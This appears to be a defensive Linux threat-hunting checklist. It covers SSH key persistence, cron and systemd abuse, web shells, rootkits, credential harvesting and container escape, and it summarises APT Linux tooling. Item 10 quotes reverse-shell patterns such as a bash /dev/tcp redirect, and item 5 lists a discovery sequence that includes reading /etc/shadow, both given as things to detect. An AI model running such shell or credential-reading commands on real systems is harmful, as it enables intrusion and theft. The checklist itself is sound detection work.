Most detection engineering is Windows-first. Sysmon, Windows Event Logs, GPO, Group Policy, and Active Directory provide a deep telemetry surface that doesn't exist on Linux. The result: Linux servers in enterprise environments often have minimal monitoring, basic syslog at best, and no host-based detection rules. Attackers know this.

Linux servers are high-value targets precisely because they run critical services: web applications, databases, DNS, email, CI/CD pipelines, container orchestration, and jump boxes for network access. A compromised Linux web server gives the attacker a foothold inside the perimeter. A compromised CI/CD server gives them supply chain access. A compromised jump box gives them credentials to everything the admin can reach.

1. 1. Audit SSH authorized_keys across all hosts The #1 Linux persistence mechanism. Attackers add their public key to ~/.ssh/authorized_keys or /root/.ssh/authorized_keys for passwordless re-entry. Diff current authorized_keys files against a known-good baseline. Any key you can't attribute to a known admin is unauthorized access. Also check /etc/ssh/sshd_config for AuthorizedKeysFile pointing to non-standard locations. HOST: T1098.004 SSH Keys · auditd: watch /root/.ssh/ and /home/*/.ssh/
2. 2. Check for unauthorized cron jobs and systemd services Enumerate all cron entries: /var/spool/cron/*, /etc/cron.d/*, /etc/crontab, and per-user crontabs. Enumerate all systemd units: compare systemctl list-unit-files against package manager records (rpm -qf or dpkg -S). Any cron entry or systemd unit not owned by an installed package is suspicious. HOST: T1053.003 Cron · T1543.002 Systemd
3. 3. Hunt for web shells in web server directories Search document roots (/var/www/, application deployment paths) for: recently created PHP/JSP/ASPX files, files containing eval/exec/system/passthru, files with obfuscated content (base64, gzip, hex encoding), and files with modification timestamps that don't match deployment records. China Chopper is a common web shell across Chinese APTs. HOST: Persistence · find /var/www -name "*.php" -newer /var/www/index.html
4. 4. Check for rootkit indicators APT28's Drovorub and other Linux rootkits hide at the kernel level. Check for: discrepancies between lsmod and /sys/module/ (hidden modules), processes visible in /proc but not in ps output, open network ports not shown by ss/netstat, and files visible with ls but not find (or vice versa). Volatility's linux_check_modules is the gold standard for rootkit detection. HOST: T1547.006 Kernel Module · APT28 Drovorub
5. 5. Review process execution for discovery bursts The Linux LOTL discovery sequence: id, uname -a, cat /etc/passwd, ss -tunlp, find / -name authorized_keys, cat /etc/shadow. These are normal admin commands individually. Six of them in 30 seconds from a service account that normally runs a web server is the anomaly. Auditd execve logging catches this. HOST: Discovery · LOTL playbook · auditd execve
6. 6. Check for credential harvesting On Linux: /etc/shadow access by non-root processes, SSH private key reads from ~/.ssh/id_*, history file reads (bash_history, .mysql_history), and credential files in application configs (database connection strings, API keys in .env files). Auditd watches on these paths catch harvesting attempts. HOST: T1003.008 /etc/shadow · T1552.004 SSH Keys
7. 7. Audit network connections for unexpected outbound traffic Linux servers should have predictable network behavior. A database server doesn't make outbound HTTP requests. A web server doesn't initiate SSH connections to external IPs. Map expected outbound connections per server role and alert on deviations. ss -tunp with process context shows which process owns each connection. NET: C2 · Zeek conn.log · ss -tunp baseline
8. 8. Check for container escape and orchestrator compromise If you run Docker/Kubernetes: check for containers running as privileged, pods with hostPID/hostNetwork, new ClusterRoleBindings granting cluster-admin, unauthorized kubectl exec sessions, and container images pulled from untrusted registries. Container escape to the host node is a privilege escalation path that bypasses host-level controls. HOST: Privilege Escalation · K8s audit logs · Docker daemon logs
9. 9. Review package manager and binary integrity Verify installed packages against repository signatures: rpm -Va (RHEL) or debsums (Debian/Ubuntu). Any binary that fails verification has been modified since installation. Also check for binaries in writable paths (/tmp, /dev/shm, /var/tmp) that shouldn't contain executables, and for LD_PRELOAD hijacking (check /etc/ld.so.preload and the environment variable). HOST: Defense Evasion · rpm -Va · debsums --changed
10. 10. Check for reverse shells and bind shells Search for: bash/python/perl/netcat processes with network connections to external IPs, processes with stdin/stdout/stderr redirected to network sockets (look at /proc/PID/fd/), and listening services on unexpected ports. Common reverse shell patterns: bash -i >& /dev/tcp/IP/PORT, python -c 'import socket,subprocess,os', and ncat/socat listeners. HOST: Execution · auditd: execve + socket creation · ss -tlnp for unexpected listeners

If you have no auditd rules, these are the minimum for detection coverage. Deploy these before you start hunting.

APT28 deployed the Drovorub Linux rootkit (kernel module + userland agent). NSA/FBI joint advisory with detection guidance.
APT41 operates KEYPLUG cross-platform (Windows + Linux). Uses systemd persistence with spoofed daemon names and targets Linux build servers for supply chain access.
Lazarus runs cross-platform implants (AppleJeus on macOS/Linux). Targets developer workstations and CI/CD infrastructure.
Sandworm deployed AcidPour/AcidRain Linux wipers against embedded systems and routers, and uses Linux-targeted wiper scripts (RSHRED, SOLOSHRED, AWFULSHRED) alongside Industroyer deployments.